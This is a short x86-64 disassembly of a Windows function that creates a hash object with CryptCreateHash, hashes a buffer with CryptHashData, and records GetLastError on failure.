mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
cmp byte [rcx + 0x20], 1
mov rdi, rdx
mov rbx, rcx
je 0x1400456a6
mov edx, dword [rcx + 0x18]
lea rax, [rcx + 0x10]
mov rcx, qword [rcx + 8]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x1400456d2
mov r8d, dword [rdi + 8]
xor r9d, r9d
sub r8d, dword [rdi]
mov rdx, qword [rdi]
mov rcx, qword [rbx + 0x10]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x1400456d2
mov byte [rbx + 0x20], 1
mov al, 1
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbx + 0x1c], eax
xor al, al
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret